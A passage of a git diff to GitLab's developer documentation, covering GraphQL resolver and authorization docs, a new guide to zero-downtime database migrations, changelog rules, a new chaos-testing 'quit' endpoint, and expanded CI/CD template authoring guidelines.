-Also see [authorizing resources in a mutation](#authorizing-resources).
-
-NOTE:
-Try to load only what the currently authenticated user is allowed to
-view with our existing finders first, without relying on authorization
-to filter the records. This minimizes database queries and unnecessary
-authorization checks of the loaded records.
-
-### Type authorization
-
-Authorize a type by passing an ability to the `authorize` method. All
-fields with the same type is authorized by checking that the
-currently authenticated user has the required ability.
-
-For example, the following authorization ensures that the currently
-authenticated user can only see projects that they have the
-`read_project` ability for (so long as the project is returned in a
-field that uses `Types::ProjectType`):
-
-```ruby
-module Types
- class ProjectType < BaseObject
- authorize :read_project
- end
-end
-```
-
-You can also authorize against multiple abilities, in which case all of
-the ability checks must pass.
-
-For example, the following authorization ensures that the currently
-authenticated user must have `read_project` and `another_ability`
-abilities to see a project:
-
-```ruby
-module Types
- class ProjectType < BaseObject
- authorize [:read_project, :another_ability]
- end
-end
-```
-
-### Field authorization
-
-Fields can be authorized with the `authorize` option.
-
-For example, the following authorization ensures that the currently
-authenticated user must have the `owner_access` ability to see the
-project:
-
-```ruby
-module Types
- class MyType < BaseObject
- field :project, Types::ProjectType, null: true, resolver: Resolvers::ProjectResolver, authorize: :owner_access
- end
-end
-```
-
-Fields can also be authorized against multiple abilities, in which case
-all of ability checks must pass. This requires explicitly
-passing a block to `field`:
-
-```ruby
-module Types
- class MyType < BaseObject
- field :project, Types::ProjectType, null: true, resolver: Resolvers::ProjectResolver do
- authorize [:owner_access, :another_ability]
- end
- end
-end
-```
-
-If the field's type already [has a particular
-authorization](#type-authorization) then there is no need to add that
-same authorization to the field.
-
-### Type and Field authorizations together
-
-Authorizations are cumulative, so where authorizations are defined on
-a field, and also on the field's type, then the currently authenticated
-user would need to pass all ability checks.
-
-In the following simplified example the currently authenticated user
-would need both `first_permission` and `second_permission` abilities in
-order to see the author of the issue.
-
-```ruby
-class UserType
- authorize :first_permission
-end
-```
-
-```ruby
-class IssueType
- field :author, UserType, authorize: :second_permission
-end
-```
+See: [GraphQL Authorization](graphql_guide/authorization.md)
## Resolvers
@@ -1098,6 +1014,26 @@ class MyThingResolver < BaseResolver
end
```
+By default, fields defined in `#preloads` will be preloaded if that field
+is selected in the query. Occasionally, finer control may be
+needed to avoid preloading too much or incorrect content.
+
+Extending the above example, we might want to preload a different
+association if certain fields are requested together. This can
+be done by overriding `#filtered_preloads`:
+
+```ruby
+class MyThingResolver < BaseResolver
+ # ...
+
+ def filtered_preloads
+ return [:alternate_attribute] if lookahead.selects?(:field_one) && lookahead.selects?(:field_two)
+
+ super
+ end
+end
+```
+
The final thing that is needed is that every field that uses this resolver needs
to advertise the need for lookahead:
@@ -1137,9 +1073,10 @@ When using resolvers, they can and should serve as the SSoT for field metadata.
All field options (apart from the field name) can be declared on the resolver.
These include:
-- `type` (this is particularly important, and is planned to be mandatory)
+- `type` (required - all resolvers must include a type annotation)
- `extras`
- `description`
+- Gitaly annotations (with `calls_gitaly!`)
Example:
@@ -1149,6 +1086,7 @@ module Resolvers
type Types::MyType, null: true
extras [:lookahead]
description 'Retrieve a single MyType'
+ calls_gitaly!
end
end
```
diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md
index c42e9224105..3c1c91e0d2e 100644
--- a/doc/development/application_limits.md
+++ b/doc/development/application_limits.md
@@ -43,8 +43,6 @@ It's recommended to create two separate migration script files.
class InsertProjectHooksPlanLimits < ActiveRecord::Migration[5.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
create_or_update_plan_limit('project_hooks', 'default', 0)
create_or_update_plan_limit('project_hooks', 'free', 10)
diff --git a/doc/development/application_secrets.md b/doc/development/application_secrets.md
index 92b18f5ad78..06a38eb238a 100644
--- a/doc/development/application_secrets.md
+++ b/doc/development/application_secrets.md
@@ -15,7 +15,7 @@ This page is a development guide for application secrets.
|`secret_key_base` | The base key to be used for generating a various secrets |
| `otp_key_base` | The base key for One Time Passwords, described in [User management](../raketasks/user_management.md#rotate-two-factor-authentication-encryption-key) |
|`db_key_base` | The base key to encrypt the data for `attr_encrypted` columns |
-|`openid_connect_signing_key` | The singing key for OpenID Connect |
+|`openid_connect_signing_key` | The signing key for OpenID Connect |
| `encrypted_settings_key_base` | The base key to encrypt settings files with |
## Where the secrets are stored
diff --git a/doc/development/avoiding_downtime_in_migrations.md b/doc/development/avoiding_downtime_in_migrations.md
new file mode 100644
index 00000000000..d8981ce0999
--- /dev/null
+++ b/doc/development/avoiding_downtime_in_migrations.md
@@ -0,0 +1,415 @@
+---
+stage: Enablement
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Avoiding downtime in migrations
+
+When working with a database certain operations may require downtime. Since we
+cannot have downtime in migrations we need to use a set of steps to get the
+same end result without downtime. This guide describes various operations that
+may appear to need downtime, their impact, and how to perform them without
+requiring downtime.
+
+## Dropping Columns
+
+Removing columns is tricky because running GitLab processes may still be using
+the columns. To work around this safely, you will need three steps in three releases:
+
+1. Ignoring the column (release M)
+1. Dropping the column (release M+1)
+1. Removing the ignore rule (release M+2)
+
+The reason we spread this out across three releases is that dropping a column is
+a destructive operation that can't be rolled back easily.
+
+Following this procedure helps us to make sure there are no deployments to GitLab.com
+and upgrade processes for self-managed installations that lump together any of these steps.
+
+### Step 1: Ignoring the column (release M)
+
+The first step is to ignore the column in the application code. This is
+necessary because Rails caches the columns and re-uses this cache in various
+places. This can be done by defining the columns to ignore. For example, to ignore
+`updated_at` in the User model you'd use the following:
+
+```ruby
+class User < ApplicationRecord
+ include IgnorableColumns
+ ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22'
+end
+```
+
+Multiple columns can be ignored, too:
+
+```ruby
+ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22'
+```
+
+We require indication of when it is safe to remove the column ignore with:
+
+- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the
+ column ignore.
+- `remove_after`: set to a date after which we consider it safe to remove the column
+ ignore, typically after the M+1 release date, during the M+2 development cycle.
+
+This information allows us to reason better about column ignores and makes sure we
+don't remove column ignores too early for both regular releases and deployments to GitLab.com. For
+example, this avoids a situation where we deploy a bulk of changes that include both changes
+to ignore the column and subsequently remove the column ignore (which would result in a downtime).
+
+In this example, the change to ignore the column went into release 12.5.
+
+### Step 2: Dropping the column (release M+1)
+
+Continuing our example, dropping the column goes into a _post-deployment_ migration in release 12.6:
+
+```ruby
+ remove_column :user, :updated_at
+```
+
+### Step 3: Removing the ignore rule (release M+2)
+
+With the next release, in this example 12.7, we set up another merge request to remove the ignore rule.
+This removes the `ignore_column` line and - if not needed anymore - also the inclusion of `IgnoreableColumns`.
+
+This should only get merged with the release indicated with `remove_with` and once
+the `remove_after` date has passed.
+
+## Renaming Columns
+
+Renaming columns the normal way requires downtime as an application may continue
+using the old column name during/after a database migration. To rename a column
+without requiring downtime we need two migrations: a regular migration, and a
+post-deployment migration. Both these migration can go in the same release.
+
+### Step 1: Add The Regular Migration
+
+First we need to create the regular migration. This migration should use
+`Gitlab::Database::MigrationHelpers#rename_column_concurrently` to perform the
+renaming. For example
+
+```ruby
+# A regular migration in db/migrate
+class RenameUsersUpdatedAtToUpdatedAtTimestamp < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ rename_column_concurrently :users, :updated_at, :updated_at_timestamp
+ end
+
+ def down
+ undo_rename_column_concurrently :users, :updated_at, :updated_at_timestamp
+ end
+end
+```
+
+This will take care of renaming the column, ensuring data stays in sync, and
+copying over indexes and foreign keys.
+
+If a column contains one or more indexes that don't contain the name of the
+original column, the previously described procedure will fail. In that case,
+you'll first need to rename these indexes.
+
+### Step 2: Add A Post-Deployment Migration
+
+The renaming procedure requires some cleaning up in a post-deployment migration.
+We can perform this cleanup using
+`Gitlab::Database::MigrationHelpers#cleanup_concurrent_column_rename`:
+
+```ruby
+# A post-deployment migration in db/post_migrate
+class CleanupUsersUpdatedAtRename < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp
+ end
+
+ def down
+ undo_cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp
+ end
+end
+```
+
+If you're renaming a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3), please carefully consider the state when the first migration has run but the second cleanup migration hasn't been run yet.
+With [Canary](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/) it is possible that the system runs in this state for a significant amount of time.
+
+## Changing Column Constraints
+
+Adding or removing a `NOT NULL` clause (or another constraint) can typically be
+done without requiring downtime. However, this does require that any application
+changes are deployed _first_. Thus, changing the constraints of a column should
+happen in a post-deployment migration.
+
+Avoid using `change_column` as it produces an inefficient query because it re-defines
+the whole column type.
+
+You can check the following guides for each specific use case:
+
+- [Adding foreign-key constraints](migration_style_guide.md#adding-foreign-key-constraints)
+- [Adding `NOT NULL` constraints](database/not_null_constraints.md)
+- [Adding limits to text columns](database/strings_and_the_text_data_type.md)
+
+## Changing Column Types
+
+Changing the type of a column can be done using
+`Gitlab::Database::MigrationHelpers#change_column_type_concurrently`. This
+method works similarly to `rename_column_concurrently`. For example, let's say
+we want to change the type of `users.username` from `string` to `text`.
+
+### Step 1: Create A Regular Migration
+
+A regular migration is used to create a new column with a temporary name along
+with setting up some triggers to keep data in sync. Such a migration would look
+as follows:
+
+```ruby
+# A regular migration in db/migrate
+class ChangeUsersUsernameStringToText < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ change_column_type_concurrently :users, :username, :text
+ end
+
+ def down
+ undo_change_column_type_concurrently :users, :username
+ end
+end
+```
+
+### Step 2: Create A Post Deployment Migration
+
+Next we need to clean up our changes using a post-deployment migration:
+
+```ruby
+# A post-deployment migration in db/post_migrate
+class ChangeUsersUsernameStringToTextCleanup < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ cleanup_concurrent_column_type_change :users, :username
+ end
+
+ def down
+ undo_cleanup_concurrent_column_type_change :users, :username, :string
+ end
+end
+```
+
+And that's it, we're done!
+
+### Casting data to a new type
+
+Some type changes require casting data to a new type. For example when changing from `text` to `jsonb`.
+In this case, use the `type_cast_function` option.
+Make sure there is no bad data and the cast will always succeed. You can also provide a custom function that handles
+casting errors.
+
+Example migration:
+
+```ruby
+ def up
+ change_column_type_concurrently :users, :settings, :jsonb, type_cast_function: 'jsonb'
+ end
+```
+
+## Changing The Schema For Large Tables
+
+While `change_column_type_concurrently` and `rename_column_concurrently` can be
+used for changing the schema of a table without downtime, it doesn't work very
+well for large tables. Because all of the work happens in sequence the migration
+can take a very long time to complete, preventing a deployment from proceeding.
+They can also produce a lot of pressure on the database due to it rapidly
+updating many rows in sequence.
+
+To reduce database pressure you should instead use
+`change_column_type_using_background_migration` or `rename_column_using_background_migration`
+when migrating a column in a large table (e.g. `issues`). These methods work
+similarly to the concurrent counterparts but uses background migration to spread
+the work / load over a longer time period, without slowing down deployments.
+
+For example, to change the column type using a background migration:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ class Issue < ActiveRecord::Base
+ self.table_name = 'issues'
+
+ include EachBatch
+
+ def self.to_migrate
+ where('closed_at IS NOT NULL')
+ end
+ end
+
+ def up
+ change_column_type_using_background_migration(
+ Issue.to_migrate,
+ :closed_at,
+ :datetime_with_timezone
+ )
+ end
+
+ def down
+ change_column_type_using_background_migration(
+ Issue.to_migrate,
+ :closed_at,
+ :datetime
+ )
+ end
+end
+```
+
+This would change the type of `issues.closed_at` to `timestamp with time zone`.
+
+Keep in mind that the relation passed to
+`change_column_type_using_background_migration` _must_ include `EachBatch`,
+otherwise it will raise a `TypeError`.
+
+This migration then needs to be followed in a separate release (_not_ a patch
+release) by a cleanup migration, which should steal from the queue and handle
+any remaining rows. For example:
+
+```ruby
+class MigrateRemainingIssuesClosedAt < ActiveRecord::Migration[4.2]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ class Issue < ActiveRecord::Base
+ self.table_name = 'issues'
+ include EachBatch
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal('CopyColumn')
+ Gitlab::BackgroundMigration.steal('CleanupConcurrentTypeChange')
+
+ migrate_remaining_rows if migrate_column_type?
+ end
+
+ def down
+ # Previous migrations already revert the changes made here.
+ end
+
+ def migrate_remaining_rows
+ Issue.where('closed_at_for_type_change IS NULL AND closed_at IS NOT NULL').each_batch do |batch|
+ batch.update_all('closed_at_for_type_change = closed_at')
+ end
+
+ cleanup_concurrent_column_type_change(:issues, :closed_at)
+ end
+
+ def migrate_column_type?
+ # Some environments may have already executed the previous version of this
+ # migration, thus we don't need to migrate those environments again.
+ column_for('issues', 'closed_at').type == :datetime # rubocop:disable Migration/Datetime
+ end
+end
+```
+
+The same applies to `rename_column_using_background_migration`:
+
+1. Create a migration using the helper, which will schedule background
+ migrations to spread the writes over a longer period of time.
+1. In the next monthly release, create a clean-up migration to steal from the
+ Sidekiq queues, migrate any missing rows, and cleanup the rename. This
+ migration should skip the steps after stealing from the Sidekiq queues if the
+ column has already been renamed.
+
+For more information, see [the documentation on cleaning up background
+migrations](background_migrations.md#cleaning-up).
+
+## Adding Indexes
+
+Adding indexes does not require downtime when `add_concurrent_index`
+is used.
+
+See also [Migration Style Guide](migration_style_guide.md#adding-indexes)
+for more information.
+
+## Dropping Indexes
+
+Dropping an index does not require downtime.
+
+## Adding Tables
+
+This operation is safe as there's no code using the table just yet.
+
+## Dropping Tables
+
+Dropping tables can be done safely using a post-deployment migration, but only
+if the application no longer uses the table.
+
+## Renaming Tables
+
+Renaming tables requires downtime as an application may continue
+using the old table name during/after a database migration.
+
+## Adding Foreign Keys
+
+Adding foreign keys usually works in 3 steps:
+
+1. Start a transaction
+1. Run `ALTER TABLE` to add the constraint(s)
+1. Check all existing data
+
+Because `ALTER TABLE` typically acquires an exclusive lock until the end of a
+transaction this means this approach would require downtime.
+
+GitLab allows you to work around this by using
+`Gitlab::Database::MigrationHelpers#add_concurrent_foreign_key`. This method
+ensures that no downtime is needed.
+
+## Removing Foreign Keys
+
+This operation does not require downtime.
+
+## Data Migrations
+
+Data migrations can be tricky. The usual approach to migrate data is to take a 3
+step approach:
+
+1. Migrate the initial batch of data
+1. Deploy the application code
+1. Migrate any remaining data
+
+Usually this works, but not always. For example, if a field's format is to be
+changed from JSON to something else we have a bit of a problem. If we were to
+change existing data before deploying application code we'll most likely run
+into errors. On the other hand, if we were to migrate after deploying the
+application code we could run into the same problems.
+
+If you merely need to correct some invalid data, then a post-deployment
+migration is usually enough. If you need to change the format of data (e.g. from
+JSON to something else) it's typically best to add a new column for the new data
+format, and have the application use that. In such a case the procedure would
+be:
+
+1. Add a new column in the new format
+1. Copy over existing data to this new column
+1. Deploy the application code
+1. In a post-deployment migration, copy over any remaining data
+
+In general there is no one-size-fits-all solution, therefore it's best to
+discuss these kind of migrations in a merge request to make sure they are
+implemented in the best way possible.
diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md
index 3ef5bf382b8..a96606719d0 100644
--- a/doc/development/background_migrations.md
+++ b/doc/development/background_migrations.md
@@ -142,6 +142,14 @@ migration performing the scheduling. Otherwise the background migration would be
scheduled multiple times on systems that are upgrading multiple patch releases at
once.
+When you start the second post-deployment migration, you should delete any
+previously queued jobs from the initial migration with the provided
+helper:
+
+```ruby
+delete_queued_jobs('BackgroundMigrationClassName')
+```
+
## Cleaning Up
NOTE:
diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md
index 40e4af923ea..e70880635e6 100644
--- a/doc/development/bulk_import.md
+++ b/doc/development/bulk_import.md
@@ -42,7 +42,7 @@ step to generate the file to be imported.
GitLab Group migration leverages on [GitLab API](../api/README.md) to speed the migration.
-And, because we're on the road to [GraphQL](../api/README.md#road-to-graphql),
+And, because we're on the road to [GraphQL](../api/README.md#graphql-api),
GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab
and its users.
diff --git a/doc/development/changelog.md b/doc/development/changelog.md
index 98a3e75bb3c..ee80d998c14 100644
--- a/doc/development/changelog.md
+++ b/doc/development/changelog.md
@@ -46,18 +46,18 @@ the `author` field. GitLab team members **should not**.
and with `type` set to `security`.
- Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content.
- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes).
+- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration) **must** have a changelog entry.
- Performance improvements **should** have a changelog entry.
-- Changes that need to be documented in the Product Intelligence [Event Dictionary](https://about.gitlab.com/handbook/product/product-intelligence-guide/#event-dictionary)
also require a changelog entry.
- _Any_ contribution from a community member, no matter how small, **may** have
a changelog entry regardless of these guidelines if the contributor wants one.
Example: "Fixed a typo on the search results page."
- Any docs-only changes **should not** have a changelog entry.
-- Any change behind a disabled feature flag **should not** have a changelog entry.
-- Any change behind an enabled feature flag **should** have a changelog entry.
-- Any change that adds new usage data metrics and changes that needs to be documented in Product Intelligence [Event Dictionary](https://about.gitlab.com/handbook/product/product-intelligence-guide/#event-dictionary) **should** have a changelog entry.
+- Any change behind a feature flag **disabled** by default **should not** have a changelog entry.
+- Any change behind a feature flag that is **enabled** by default **should** have a changelog entry.
+- Any change that adds new Usage Data metrics and changes that needs to be documented in Product Intelligence [Metrics Dictionary](usage_ping/dictionary.md) **should** have a changelog entry.
- A change that adds snowplow events **should** have a changelog entry -
-- A change that [removes a feature flag](feature_flags/index.md) **must** have a changelog entry.
+- A change that [removes a feature flag, or removes a feature and its feature flag](feature_flags/index.md) **must** have a changelog entry.
- A fix for a regression introduced and then fixed in the same release (i.e.,
fixing a bug introduced during a monthly release candidate) **should not**
have a changelog entry.
diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md
index 85c93f521ac..56e91acbc4a 100644
--- a/doc/development/chaos_endpoints.md
+++ b/doc/development/chaos_endpoints.md
@@ -146,10 +146,10 @@ curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret"
## Kill
-This endpoint simulates the unexpected death of a worker process using a `kill` signal.
+This endpoint simulates the unexpected death of a worker process using the `KILL` signal.
-Because this endpoint uses the `KILL` signal, the worker isn't given an
-opportunity to cleanup or shutdown.
+Because this endpoint uses the `KILL` signal, the process isn't given an
+opportunity to clean up or shut down.
```plaintext
GET /-/chaos/kill
@@ -158,13 +158,33 @@ GET /-/chaos/kill?async=true
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ---------------------------------------------------------------------- |
-| `async` | boolean | no | Set to true to kill a Sidekiq background worker process |
+| `async` | boolean | no | Set to true to signal a Sidekiq background worker process |
```shell
curl "http://localhost:3000/-/chaos/kill" --header 'X-Chaos-Secret: secret'
curl "http://localhost:3000/-/chaos/kill?token=secret"
```
+## Quit
+
+This endpoint simulates the unexpected death of a worker process using the `QUIT` signal.
+Unlike `KILL`, the `QUIT` signal will also attempt to write a core dump.
+See [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) for more information.
+
+```plaintext
+GET /-/chaos/quit
+GET /-/chaos/quit?async=true
+```
+
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | ---------------------------------------------------------------------- |
+| `async` | boolean | no | Set to true to signal a Sidekiq background worker process |
+
+```shell
+curl "http://localhost:3000/-/chaos/quit" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/quit?token=secret"
+```
+
## Run garbage collector
This endpoint triggers a GC run on the worker handling the request and returns its worker ID
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index eb2224d710a..35c4cc0694e 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -23,7 +23,7 @@ On the left side we have the events that can trigger a pipeline based on various
- A `git push` is the most common event that triggers a pipeline.
- The [Web API](../../api/pipelines.md#create-a-new-pipeline).
-- A user clicking the "Run Pipeline" button in the UI.
+- A user clicking the "Run pipeline" button in the UI.
- When a [merge request is created or updated](../../ci/merge_request_pipelines/index.md#pipelines-for-merge-requests).
- When an MR is added to a [Merge Train](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#merge-trains).
- A [scheduled pipeline](../../ci/pipelines/schedules.md#pipeline-schedules).
@@ -182,3 +182,17 @@ Watch a walkthrough of this feature in details in the video below.
<figure class="video-container">
<iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
+
+## External pipeline validation service
+
+The [external CI/CD pipeline validation service](../../administration/external_pipeline_validation.md)
+is available for use on self-managed GitLab instances, but is not in use on GitLab.com.
+It is configured with [environment variables](../../administration/environment_variables.md)
+on the instance.
+
+To enable the feature on GitLab.com, enable the `ci_external_validation_service`
+[feature flag](../feature_flags/index.md). The valid "Not accepted" response code
+for GitLab.com is `406` only.
+
+For more details, see the linked issues and MRs in the
+[feature flag rollout issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325982).
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index ed0d217c247..fd1456a1676 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -1,6 +1,6 @@
---
-stage: Release
-group: Release
+stage: Verify
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
@@ -9,27 +9,214 @@ type: index, concepts, howto
This document explains how to develop [GitLab CI/CD templates](../../ci/examples/README.md).
-## Place the template file in a relevant directory
+## Requirements for CI/CD templates
+
+Before submitting a merge request with a new or updated CI/CD template, you must:
+
+- Place the template in the correct [directory](#template-directories).
+- Follow the [CI/CD template authoring guidelines](#template-authoring-guidelines).
+- Name the template following the `*.gitlab-ci.yml` format.
+- Use valid [`.gitlab-ci.yml` syntax](../../ci/yaml/README.md). Verify it's valid
+ with the [CI/CD lint tool](../../ci/lint.md).
+- Include [a changelog](../changelog.md) if the merge request introduces a user-facing change.
+- Follow the [template review process](#contribute-cicd-template-merge-requests).
+- (Optional but highly recommended) Test the template in an example GitLab project
+ that reviewers can access. Reviewers might not be able to create the data or configuration
+ that the template requires, so an example project helps the reviewers ensure the
+ template is correct. The example project pipeline should succeed before submitting
+ the merge request for review.
+
+## Template directories
+
+All template files are saved in `lib/gitlab/ci/templates`. Save general templates
+in this directory, but certain template types have a specific directory reserved for
+them. The ability to [select a template in new file UI](#make-sure-the-new-template-can-be-selected-in-ui)
+is determined by the directory it is in:
+
+| Sub-directory | Selectable in UI | Template type |
+|----------------|------------------|---------------|
+| `/*` (root) | Yes | General templates. |
+| `/AWS/*` | No | Templates related to Cloud Deployment (AWS). |
+| `/Jobs/*` | No | Templates related to Auto DevOps. |
+| `/Pages/*` | Yes | Sample templates for using Static site generators with GitLab Pages. |
+| `/Security/*` | Yes | Templates related to Security scanners. |
+| `/Terraform/*` | No | Templates related to infrastructure as Code (Terraform). |
+| `/Verify/*` | Yes | Templates related to Testing features. |
+| `/Workflows/*` | No | Sample templates for using the `workflow:` keyword. |
+
+## Template authoring guidelines
+
+Use the following guidelines to ensure your template submission follows standards:
+
+### Template types
+
+Templates have two different types that impact the way the template should be written
+and used. The style in a template should match one of these two types:
+
+A **pipeline template** provides an end-to-end CI/CD workflow that matches a project's
+structure, language, and so on. It usually should be used by itself in projects that
+don't have any other `.gitlab-ci.yml` files.
+
+When authoring pipeline templates:
+
+- Place any [global keywords](../../ci/yaml/README.md#global-keywords) like `image`
+ or `before_script` in a [`default`](../../ci/yaml/README.md#custom-default-keyword-values)
+ section at the top of the template.
+- Note clearly in the [code comments](#explain-the-template-with-comments) if the
+ template is designed to be used with the `includes` keyword in an existing
+ `.gitlab-ci.yml` file or not.
+
+A **job template** provides specific jobs that can be added to an existing CI/CD
+workflow to accomplish specific tasks. It usually should be used by adding it to
+an existing `.gitlab-ci.yml` file by using the [`includes`](../../ci/yaml/README.md#global-keywords)
+keyword. You can also copy and paste the contents into an existing `.gitlab-ci.yml` file.
+
+Configure job templates so that users can add them to their current pipeline with very
+few or no modifications. It must be configured to reduce the risk of conflicting with
+other pipeline configuration.
+
+When authoring job templates:
+
+- Do not use [global](../../ci/yaml/README.md#global-keywords) or [`default`](../../ci/yaml/README.md#custom-default-keyword-values)
+ keywords. When a root `.gitlab-ci.yml` includes a template, global or default keywords
+ might be overridden and cause unexpected behavior. If a job template requires a
+ specific stage, explain in the code comments that users must manually add the stage
+ to the main `.gitlab-ci.yml` configuration.
+- Note clearly in [code comments](#explain-the-template-with-comments) that the template
+ is designed to be used with the `includes` keyword or copied into an existing configuration.
+- Consider [versioning](#versioning) the template with latest and stable versions
+ to avoid [backward compatibility](#backward-compatibility) problems.
+ Maintenance of this type of template is more complex, because changes to templates
+ imported with `includes` can break pipelines for all projects using the template.
+
+Additional points to keep in mind when authoring templates:
+
+| Template design points | Pipeline templates | Job templates |
+|------------------------------------------------------|--------------------|---------------|
+| Can use global keywords, including `stages`. | Yes | No |
+| Can define jobs. | Yes | Yes |
+| Can be selected in the new file UI | Yes | Yes |
+| Can include other job templates with `include` | Yes | No |
+| Can include other pipeline templates with `include`. | No | No |
+
+### Syntax guidelines
+
+To make templates easier to follow, templates should all use clear syntax styles,
+with a consistent format.
+
+#### Do not hardcode the default branch
+
+Use [`$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH`](../../ci/variables/predefined_variables.md)
+instead of a hardcoded `main` branch, and never use `master`:
-All template files reside in the `lib/gitlab/ci/templates` directory, and are categorized by the following sub-directories:
+```yaml
+job1:
+ rules:
+ if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ script:
+ echo "example job 1"
+
+job2:
+ only:
+ variables:
+ - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ script:
+ echo "example job 2"
+
+```
+
+#### Use `rules` instead of `only` or `except`
+
+Avoid using [`only` or `except`](../../ci/yaml/README.md#onlyexcept-basic) if possible.
+Only and except is not being developed any more, and [`rules`](../../ci/yaml/README.md#rules)
+is now the preferred syntax:
+
+```yaml
+job2:
+ script:
+ - echo
+ rules:
+ - if: $CI_COMMIT_BRANCH
+```
+
+#### Break up long commands
+
+If a command is very long, or has many command line flags, like `-o` or `--option`:
+
+- Split these up into a multi-line command to make it easier to see every part of the command.
+- Use the long name for the flags, when available.
+
+For example, with a long command with short CLI flags like
+`docker run --e SOURCE_CODE="$PWD" -v "$PWD":/code -v /var/run/docker.sock:/var/run/docker.sock "$CODE_QUALITY_IMAGE" /code`:
+
+```yaml
+job1:
+ script:
+ - docker run
+ --env SOURCE_CODE="$PWD"
+ --volume "$PWD":/code
+ --volume /var/run/docker.sock:/var/run/docker.sock
+ "$CODE_QUALITY_IMAGE" /code
+```
-| Sub-directory | Content | [Selectable in UI](#make-sure-the-new-template-can-be-selected-in-ui) |
-|----------------|----------------------------------------------------|-----------------------------------------------------------------------|
-| `/AWS/*` | Cloud Deployment (AWS) related jobs | No |
-| `/Jobs/*` | Auto DevOps related jobs | No |
-| `/Pages/*` | Static site generators for GitLab Pages (for example Jekyll) | Yes |
-| `/Security/*` | Security related jobs | Yes |
-| `/Terraform/*` | Infrastructure as Code related templates | No |
-| `/Verify/*` | Verify/testing related jobs | Yes |
-| `/Workflows/*` | Common uses of the `workflow:` keyword | No |
-| `/*` (root) | General templates | Yes |
+You can also use the `|` and `>` YAML operators to [split up multi-line commands](../../ci/yaml/script.md#split-long-commands).
-## Criteria
+### Explain the template with comments
-The file must follow the [`.gitlab-ci.yml` syntax](../../ci/yaml/README.md).
-Verify it's valid by pasting it into the CI lint tool at `https://gitlab.com/gitlab-org/gitlab/-/ci/lint`.
+You can access template contents from the new file menu, and this might be the only
+place users see information about the template. It's important to clearly document
+the behavior of the template directly in the template itself.
-Also, all templates must be named with the `*.gitlab-ci.yml` suffix.
+The following guidelines cover the basic comments expected in all template submissions.
+Add additional comments as needed if you think the comments can help users or
+[template reviewers](#contribute-cicd-template-merge-requests).
+
+#### Explain requirements and expectations
+
+Give the details on how to use the template in `#` comments at the top of the file.
+This includes:
+
+- Repository/project requirements.
+- Expected behavior.
+- Any places that need to be edited by users before using the template.
+- If the template should be used by copy pasting it into a configuration file, or
+ by using it with the `include` keyword in an existing pipeline.
+- If any variables need to be saved in the project's CI/CD settings.
+
+```yaml
+# Use this template to publish an application that uses the ABC server.
+# You can copy and paste this template into a new `.gitlab-ci.yml` file.
+# You should not add this template to an existing `.gitlab-ci.yml` file by using the `include:` keyword.
+#
+# Requirements:
+# - An ABC project with content saved in /content and tests in /test
+# - A CI/CD variable named ABC-PASSWORD saved in the project CI/CD settings. The value
+# should be the password used to deploy to your ABC server.
+# - An ABC server configured to listen on port 12345.
+#
+# You must change the URL on line 123 to point to your ABC server and port.
+#
+# For more information, see https://gitlab.com/example/abcserver/README.md
+
+job1:
+ ...
+```
+
+#### Explain how variables affect template behavior
+
+If the template uses variables, explain them in `#` comments where they are first
+defined. You can skip the comment when the variable is trivially clear:
+
+```yaml
+variables: # Good to have a comment here, for example:
+ TEST_CODE_PATH: <path/to/code> # Update this variable with the relative path to your Ruby specs
+
+job1:
+ variables:
